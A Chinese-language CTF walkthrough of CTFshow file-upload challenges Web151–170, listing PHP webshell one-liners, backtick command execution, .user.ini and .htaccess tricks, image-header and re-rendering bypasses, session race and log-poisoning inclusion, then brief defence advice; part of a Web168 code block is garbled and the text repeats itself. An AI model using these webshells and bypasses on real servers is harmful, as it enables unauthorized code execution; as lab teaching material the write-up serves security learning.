php代码审计前奏之ctfshow之文件上传
字数 1543 2025-08-15 21:33:34

CTFshow 文件上传漏洞实战教学

基础概念

文件上传漏洞是Web安全中常见的一种漏洞类型,攻击者通过上传恶意文件获取服务器权限。本教学基于CTFshow平台的文件上传题目,从基础到高级逐步讲解各种绕过技巧。

基础绕过技巧

Web151-152:前端验证绕过

  • 漏洞点:仅前端验证文件类型
  • 绕过方法
    • 使用Burp Suite等工具拦截请求
    • 修改文件后缀为.php
    • 修改Content-Type为image/png

Web153:.user.ini利用

  • 利用条件
    1. 服务器使用PHP且运行在CGI/FastCGI模式
    2. 上传目录下有可执行的php文件
  • 攻击步骤
    1. 上传图片马(如ma.png)
    2. 上传.user.ini文件,内容:auto_prepend_file=ma.png
    3. 访问同目录下的php文件(如/upload/index.php)触发执行

内容过滤绕过

Web154-156:PHP内容过滤

  • 过滤内容:php字符串
  • 绕过方法
    • 使用短标签:<?=eval($_POST['a']);?>
    • 使用替代语法:<script language="php">eval($_POST['a']);</script>
    • [被过滤时,使用{}替代:eval($_POST{'a'});

Web157-158:分号过滤

  • 过滤内容:分号;
  • 绕过方法
    • 使用?>结束标签替代分号
    • 示例:<?=system('ls')?>

Web159:括号过滤

  • 过滤内容(
  • 绕过方法
    • 使用反引号执行命令:<?=`cat ../*`?>

Web160:多重过滤

  • 过滤内容:php、[、{、;、(、反引号、空格
  • 绕过方法
    • 字符串拼接:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
    • 通过User-Agent注入PHP代码

高级绕过技巧

Web161:文件头检测

  • 检测机制:检查文件头是否为图片
  • 绕过方法
    • 在文件开头添加图片标识,如GIF89a
    • 示例:GIF89a<?php eval($_POST['a']);?>

Web162-163:Session文件包含

  • 利用条件:能上传文件并包含session文件
  • 攻击步骤
    1. 构造表单利用session.upload_progress
    2. 竞争上传包含session的文件
    3. 包含/tmp/sess_[sessionid]文件执行代码

Web164-165:二次渲染绕过

  • PNG绕过
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7,...);
    $img = imagecreatetruecolor(32, 32);
    // 生成可绕过二次渲染的PNG
    ?>
    
  • JPG绕过
    <?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";
    // 使用特殊脚本处理JPG文件
    ?>
    

Web167:.htaccess利用

  • 利用方法
    1. 上传.htaccess文件:
    <FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    1. 上传包含PHP代码的1.jpg文件

Web168:PHP代码免杀

  • 过滤内容:eval、assert、_POST、_GET等
  • 绕过方法
    • 反引号执行:<?php $_=`whoami`;echo `whoami`?>
    • 字符串拼接:
      <?php
      $a='syste'.'m';
      ($a)('ls ../');
      
    • $_REQUEST利用:
      <?php
      $a=$_REQUEST['a'];
      $b=$_REQUEST['b'];
      $a($b);
      ?>
      
    • 数学函数转换:
      <?php
      $pi=base_convert(37907361743,10,36)(dechex(1598506324));
      (
      

\[pi{abs})( \]

pi{acos});
// get传参 abs=system&acos=ls
?>
```

日志文件包含

Web169-170:日志文件包含

  • 攻击步骤
    1. 上传.user.ini:auto_prepend_file=/var/log/nginx/access.log
    2. 修改User-Agent为PHP代码:<?php eval($_POST[1]);?>
    3. 访问触发文件包含

防御建议

  1. 使用白名单验证文件扩展名
  2. 检查文件内容而不仅是文件头
  3. 禁用危险的PHP函数
  4. 对上传文件重命名
  5. 设置正确的文件权限
  6. 将上传文件存储在非Web可访问目录
  7. 使用随机目录名存储上传文件

通过本教学,您应该掌握了从基础到高级的文件上传漏洞利用技术。在实际渗透测试中,请确保获得授权后再进行测试。

CTFshow 文件上传漏洞实战教学 基础概念 文件上传漏洞是Web安全中常见的一种漏洞类型,攻击者通过上传恶意文件获取服务器权限。本教学基于CTFshow平台的文件上传题目,从基础到高级逐步讲解各种绕过技巧。 基础绕过技巧 Web151-152:前端验证绕过 漏洞点 :仅前端验证文件类型 绕过方法 : 使用Burp Suite等工具拦截请求 修改文件后缀为.php 修改Content-Type为image/png Web153:.user.ini利用 利用条件 : 服务器使用PHP且运行在CGI/FastCGI模式 上传目录下有可执行的php文件 攻击步骤 : 上传图片马(如ma.png) 上传.user.ini文件,内容: auto_prepend_file=ma.png 访问同目录下的php文件(如/upload/index.php)触发执行 内容过滤绕过 Web154-156:PHP内容过滤 过滤内容 :php字符串 绕过方法 : 使用短标签: <?=eval($_POST['a']);?> 使用替代语法: <script language="php">eval($_POST['a']);</script> 当 [ 被过滤时,使用 {} 替代: eval($_POST{'a'}); Web157-158:分号过滤 过滤内容 :分号 ; 绕过方法 : 使用 ?> 结束标签替代分号 示例: <?=system('ls')?> Web159:括号过滤 过滤内容 : ( 绕过方法 : 使用反引号执行命令: <?=`cat ../*`?> Web160:多重过滤 过滤内容 :php、 [ 、{、;、(、反引号、空格 绕过方法 : 字符串拼接: <?=include"/var/lo"."g/nginx/access.lo"."g"?> 通过User-Agent注入PHP代码 高级绕过技巧 Web161:文件头检测 检测机制 :检查文件头是否为图片 绕过方法 : 在文件开头添加图片标识,如GIF89a 示例: GIF89a<?php eval($_POST['a']);?> Web162-163:Session文件包含 利用条件 :能上传文件并包含session文件 攻击步骤 : 构造表单利用session.upload_ progress 竞争上传包含session的文件 包含/tmp/sess_ [ sessionid ]文件执行代码 Web164-165:二次渲染绕过 PNG绕过 : JPG绕过 : Web167:.htaccess利用 利用方法 : 上传.htaccess文件: 上传包含PHP代码的1.jpg文件 Web168:PHP代码免杀 过滤内容 :eval、assert、_ POST、_ GET等 绕过方法 : 反引号执行: <?php $_=`whoami`;echo `whoami`?> 字符串拼接: $_ REQUEST利用: 数学函数转换: 日志文件包含 Web169-170:日志文件包含 攻击步骤 : 上传.user.ini: auto_prepend_file=/var/log/nginx/access.log 修改User-Agent为PHP代码: <?php eval($_POST[1]);?> 访问触发文件包含 防御建议 使用白名单验证文件扩展名 检查文件内容而不仅是文件头 禁用危险的PHP函数 对上传文件重命名 设置正确的文件权限 将上传文件存储在非Web可访问目录 使用随机目录名存储上传文件 通过本教学,您应该掌握了从基础到高级的文件上传漏洞利用技术。在实际渗透测试中,请确保获得授权后再进行测试。